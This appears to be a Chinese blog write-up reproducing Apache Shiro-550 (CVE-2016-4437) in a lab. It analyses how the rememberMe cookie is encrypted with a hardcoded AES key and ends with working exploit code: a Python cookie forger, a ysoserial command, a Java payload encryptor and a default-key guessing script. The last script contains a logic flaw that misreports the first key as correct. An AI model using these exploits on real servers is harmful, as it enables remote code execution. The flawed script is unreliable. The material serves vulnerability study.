shiro550

shiro550

CVE-2016-4437

Apache Shiro 是一个强大且灵活的开源安全框架,用于身份验证、授权、加密和会话管理。

参考文章

https://goodapple.top/archives/139

https://drun1baby.top/2022/07/10/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Shiro%E7%AF%8701-Shiro550%E6%B5%81%E7%A8%8B%E5%88%86%E6%9E%90/

环境搭建

下载shiro源码,打开Maven项目with source

选择shiro\sample\web目录

修改pom.xml配置文件

添加版本和两处注释

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
        <dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<version>1.2</version>
<scope>runtime</scope>
</dependency>

<dependency>
<groupId>javax.servlet</groupId>
<artifactId>servlet-api</artifactId>
<!-- <scope>provided</scope>-->
</dependency>

<dependency>
<groupId>net.sourceforge.htmlunit</groupId>
<artifactId>htmlunit</artifactId>
<version>2.6</version>
<!-- <scope>test</scope>-->
</dependency>

编译打包

1
2
命令行下mvn compile编译生成target文件
命令行下mvn package打包生成war文件

报错

1
2
3
4
5
6
7
8
9
10
[ERROR] Failed to execute goal org.apache.maven.plugins:maven-toolchains-plugin:1.1:toolchain (default) on project samples-web: Cannot find matching toolchain definitions for the following toolchain types:
[ERROR] jdk [ vendor='sun' version='1.6' ]
[ERROR] Please make sure you define the required toolchains in your ~/.m2/toolchains.xml file.
[ERROR] -> [Help 1]
[ERROR]
[ERROR] To see the full stack trace of the errors, re-run Maven with the -e switch.
[ERROR] Re-run Maven using the -X switch to enable full debug logging.
[ERROR]
[ERROR] For more information about the errors and possible solutions, please read the following articles:
[ERROR] [Help 1] http://cwiki.apache.org/confluence/display/MAVEN/MojoFailureException

Maven Toolchains Plugin 无法找到符合要求的 JDK 工具链配置,需要 Sun JDK 1.6

1
C:\Users\<你的用户名>\.m2\目录下创建toolchains.xml

添加配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0" encoding="UTF-8"?>
<toolchains>
<!-- Sun/Oracle JDK 1.6 -->
<toolchain>
<type>jdk</type>
<provides>
<version>1.6</version>
<vendor>sun</vendor>
</provides>
<configuration>
<jdkHome>/path/to/jdk1.6</jdkHome> <!-- 替换为你的 JDK 1.6 路径 -->
</configuration>
</toolchain>
</toolchains>

下载链接:

https://www.oracle.com/java/technologies/javase-java-archive-javase6-downloads.html

添加运行环境

jdk8u65

tomcat8.5.81

Run/Edit Configurations

image-20250411215238384

Deployment

image-20250411215316111

漏洞分析

在登录shiro成功,选择了remeberMe选项,网站会生成一个key为remeberMe的Cookie、image-20250411222041042

Cookie加密分析

CookieRememberMeManager

org.apache.shiro.web.mgt.CookieRememberMeManager类中寻找相关函数

org.apache.shiro.web.mgt.CookieRememberMeManager#rememberSerializedIdentity

初始时Cookie为空,获取Cookie,将序列化后的数据base64编码后存入到Cookie中,得到{remeberme:base64_encode},然后将Cookie保存到返回包中。

这是存入Cookie的过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
protected void rememberSerializedIdentity(Subject subject, byte[] serialized) {

if (!WebUtils.isHttp(subject)) {
if (log.isDebugEnabled()) {
String msg = "Subject argument is not an HTTP-aware instance. This is required to obtain a servlet " +
"request and response in order to set the rememberMe cookie. Returning immediately and " +
"ignoring rememberMe operation.";
log.debug(msg);
}
return;
}


HttpServletRequest request = WebUtils.getHttpRequest(subject);
HttpServletResponse response = WebUtils.getHttpResponse(subject);

//base 64 encode it and store as a cookie:
String base64 = Base64.encodeToString(serialized);

Cookie template = getCookie(); //the class attribute is really a template for the outgoing cookies
Cookie cookie = new SimpleCookie(template);
cookie.setValue(base64);
cookie.saveTo(request, response);
}

AbstractRememberMeManager

org.apache.shiro.mgt.AbstractRememberMeManager

这里将用户信息进行序列化,然后加密。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
protected void rememberIdentity(Subject subject, PrincipalCollection accountPrincipals) {
byte[] bytes = convertPrincipalsToBytes(accountPrincipals);
rememberSerializedIdentity(subject, bytes);
}
protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) {
byte[] bytes = serialize(principals);
if (getCipherService() != null) {
bytes = encrypt(bytes);
}
return bytes;
}
protected byte[] encrypt(byte[] serialized) {
byte[] value = serialized;
CipherService cipherService = getCipherService();
if (cipherService != null) {
ByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey());
value = byteSource.getBytes();
}
return value;
}

加密相关信息

使用AES加密,密钥是固定的。

1
2
3
4
5
6
7
8
9
10
11
    public CipherService getCipherService() {
return cipherService;
}
//
public AbstractRememberMeManager() {
this.serializer = new DefaultSerializer<PrincipalCollection>();
this.cipherService = new AesCipherService();
setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
}

private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

加密算法详情,CBC模式,初始化向量128bits

image-20250411225123981

Cookie解密分析

CookieRememberMeManager

org.apache.shiro.web.mgt.CookieRememberMeManager#getRememberedSerializedIdentity
作用:subjectContext 中获取(base64_decode)被“记住”的用户身份序列化数据(通常是字节数组)

关于SubjectContext
Shiro 抽象的上下文容器,可能包含请求信息,但目的是为构建 Subject 服务。包括
请求/响应对象(可能包含 HTTP 请求报文内容)
会话(Session)信息
记住我(RememberMe)的令牌或标识
Web 环境中,Shiro 会通过 WebUtils 将 HttpServletRequest 和 HttpServletResponse 封装到 SubjectContext 中。

DELETED_COOKIE_VALUE为 deleteMe,只要cookie的值不是deleteMe,则会进行后续的解析操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {
.....
String base64 = getCookie().readValue(request, response);
if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null;

if (base64 != null) {
base64 = ensurePadding(base64);
if (log.isTraceEnabled()) {
log.trace("Acquired Base64 encoded identity [" + base64 + "]");
}
byte[] decoded = Base64.decode(base64);
if (log.isTraceEnabled()) {
log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");
}
return decoded;
} else {
//no cookie set - new site visitor?
return null;
}
}

AbstractRememberMeManager

org.apache.shiro.mgt.AbstractRememberMeManager

getRememberedPrincipals方法

调用getRememberedSerializedIdentity,获取序列化数据,
调用convertBytesToPrincipals解析数据
==>
org.apache.shiro.mgt.AbstractRememberMeManager#convertBytesToPrincipals
先解密,后反序列化
==>
org.apache.shiro.mgt.AbstractRememberMeManager#decrypt
org.apache.shiro.mgt.AbstractRememberMeManager#deserialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
PrincipalCollection principals = null;
try {
byte[] bytes = getRememberedSerializedIdentity(subjectContext);
//SHIRO-138 - only call convertBytesToPrincipals if bytes exist:
if (bytes != null && bytes.length > 0) {
principals = convertBytesToPrincipals(bytes, subjectContext);
}
} catch (RuntimeException re) {
principals = onRememberedPrincipalFailure(re, subjectContext);
}

return principals;
}

protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
if (getCipherService() != null) {
bytes = decrypt(bytes);
}
return deserialize(bytes);
}

分析 decrypt,追溯加密使用还是AES,AES是对称加密,密钥也是和加密密钥一致的。但还是使用两个方法分别赋值加密密钥和解密密钥,可能是为了后期的更换加密算法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
protected byte[] decrypt(byte[] encrypted) {
byte[] serialized = encrypted;
CipherService cipherService = getCipherService();
if (cipherService != null) {
ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
serialized = byteSource.getBytes();
}
return serialized;
}

public void setCipherKey(byte[] cipherKey) {
//Since this method should only be used in symmetric ciphers
//(where the enc and dec keys are the same), set it on both:
setEncryptionCipherKey(cipherKey);
setDecryptionCipherKey(cipherKey);
}

加密算法

org.apache.shiro.crypto.JcaCipherService

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
public ByteSource decrypt(byte[] ciphertext, byte[] key) throws CryptoException {

byte[] encrypted = ciphertext;

//No IV, check if we need to read the IV from the stream:
byte[] iv = null;

if (isGenerateInitializationVectors(false)) {
try {
//We are generating IVs, so the ciphertext argument array is not actually 100% cipher text. Instead, it
//is:
// - the first N bytes is the initialization vector, where N equals the value of the
// 'initializationVectorSize' attribute.
// - the remaining bytes in the method argument (arg.length - N) is the real cipher text.

//So we need to chunk the method argument into its constituent parts to find the IV and then use
//the IV to decrypt the real ciphertext:

int ivSize = getInitializationVectorSize();
int ivByteSize = ivSize / BITS_PER_BYTE;

//now we know how large the iv is, so extract the iv bytes:
iv = new byte[ivByteSize];
System.arraycopy(ciphertext, 0, iv, 0, ivByteSize);

//remaining data is the actual encrypted ciphertext. Isolate it:
int encryptedSize = ciphertext.length - ivByteSize;
encrypted = new byte[encryptedSize];
System.arraycopy(ciphertext, ivByteSize, encrypted, 0, encryptedSize);
} catch (Exception e) {
String msg = "Unable to correctly extract the Initialization Vector or ciphertext.";
throw new CryptoException(msg, e);
}
}

return decrypt(encrypted, key, iv);
}

密文先将IV提取出来,所以需要将IV和序列化数据组合在base64编码。

序列化分析

org.apache.shiro.io.DefaultSerializer

直接在内存中操作字节数组,与我们之前写的操作方式不同,原理相同,从输出流进行序列化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public byte[] serialize(T o) throws SerializationException {
if (o == null) {……
}
ByteArrayOutputStream baos = new ByteArrayOutputStream();
BufferedOutputStream bos = new BufferedOutputStream(baos);

try {
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(o);
oos.close();
return baos.toByteArray();
} catch (IOException e) {
……
}
}
public T deserialize(byte[] serialized) throws SerializationException {
if (serialized == null) {……
}
ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
BufferedInputStream bis = new BufferedInputStream(bais);
try {
ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
@SuppressWarnings({"unchecked"})
T deserialized = (T) ois.readObject();
ois.close();
return deserialized;
} catch (Exception e) {……
}
}

漏洞利用

py脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import base64
import uuid

import requests
from Crypto.Cipher import AES


def get_file_data(filename):
with open(filename, 'rb') as f:
data = f.read()
return data


def aes_enc(data):
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
return ciphertext


def aes_dec(enc_data):
enc_data = base64.b64decode(enc_data)
unpad = lambda s: s[:-s[-1]]
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = enc_data[:16]
encryptor = AES.new(base64.b64decode(key), mode, iv)
plaintext = encryptor.decrypt(enc_data[16:])
plaintext = unpad(plaintext)
return plaintext

if __name__ == '__main__':
data = get_file_data("ser.bin")
secret = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")

ciphertext = aes_enc(data)

with open("ser.bin.enc", "wb") as f:
f.write(ciphertext)

url = "http://192.168.88.148:8080"

cookie = {"rememberMe" : ciphertext.decode("utf-8")}

print("start")
requests.get(url, cookies=cookie)

java脚本(vulhub)

使用ysoserial生成CommonsBeanutils1的Gadget:

1
java -jar ysoserial-master-30099844c6-1.jar CommonsBeanutils1 "touch /tmp/success" > poc.ser

使用Shiro内置的默认密钥对Payload进行加密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package org.vulhub.shirodemo;

import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.io.DefaultSerializer;

import java.nio.file.FileSystems;
import java.nio.file.Files;
import java.nio.file.Paths;

public class TestRemember {
public static void main(String[] args) throws Exception {
byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("/path", "to", "poc.ser"));

AesCipherService aes = new AesCipherService();
byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));

ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}

URLDNS

CC11 链

CB1链

工具

https://github.com/safe6Sec/ShiroExp

识别

指纹识别

在请求包的 Cookie 中为 rememberMe 字段赋任意值,收到返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段,说明目标有使用 Shiro 框架

AES密钥判断

Shiro 1.2.4 以上版本官方移除了代码中的默认密钥,要求开发者自己设置,如果开发者没有设置,则默认动态生成,降低了固定密钥泄漏的风险。

如何判断密钥正确?当密钥不正确或类型转换异常时,目标 Response 包含 Set-Cookie:rememberMe=deleteMe 字段,而当密钥正确且没有类型转换异常时,返回包不存在 Set-Cookie:rememberMe=deleteMe 字段。

shiro 在 1.4.2 版本之前, AES 的模式为 CBC, IV 是随机生成的,并且 IV 并没有真正使用起来,所以整个 AES 加解密过程的 key 就很重要了,正是因为 AES 使用 Key 泄漏导致反序列化的 cookie 可控,从而引发反序列化漏洞。在 1.4.2 版本后,shiro 已经更换加密模式 AES-CBC 为 AES-GCM,脚本编写时需要考虑加密模式变化的情况。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import base64
import uuid
import requests
from Crypto.Cipher import AES

def encrypt_AES_GCM(msg, secretKey):
aesCipher = AES.new(secretKey, AES.MODE_GCM)
ciphertext, authTag = aesCipher.encrypt_and_digest(msg)
return (ciphertext, aesCipher.nonce, authTag)

def encode_rememberme(target):
keys = ['kPH+bIxk5D2deZiIxcaaaA==', '4AvVhmFLUs0KTA3Kprsdag==','66v1O8keKNV3TTcGPK1wzg==', 'SDKOLKn2J1j/2BHjeZwAoQ=='] # 此处简单列举几个密钥
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes

file_body = base64.b64decode('rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA==')
for key in keys:
try:
# CBC加密
encryptor = AES.new(base64.b64decode(key), mode, iv)
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(file_body)))
res = requests.get(target, cookies={'rememberMe': base64_ciphertext.decode()},timeout=3,verify=False, allow_redirects=False)
if res.headers.get("Set-Cookie") == None:
print("正确KEY :" + key)
return key
else:
if 'rememberMe=deleteMe;' not in res.headers.get("Set-Cookie"):
print("正确key:" + key)
return key
# GCM加密
encryptedMsg = encrypt_AES_GCM(file_body, base64.b64decode(key))
base64_ciphertext = base64.b64encode(encryptedMsg[1] + encryptedMsg[0] + encryptedMsg[2])
res = requests.get(target, cookies={'rememberMe': base64_ciphertext.decode()}, timeout=3, verify=False, allow_redirects=False)

if res.headers.get("Set-Cookie") == None:
print("正确KEY:" + key)
return key
else:
if 'rememberMe=deleteMe;' not in res.headers.get("Set-Cookie"):
print("正确key:" + key)
return key
print("正确key:" + key)
return key
except Exception as e:
print(e)

小摊

因为对python写脚本不是很熟练,而且python的弱类型,自己看代码++难度。脚本都是借鉴的其他大佬的。

这是一个shiro的CVE-2010-3863漏洞,复现很简单,没细看原理。

image-20250410210108921


shiro550
https://rpniu.github.io/2025/04/12/shiro550/
作者
rPniu
发布于
2025年4月12日
许可协议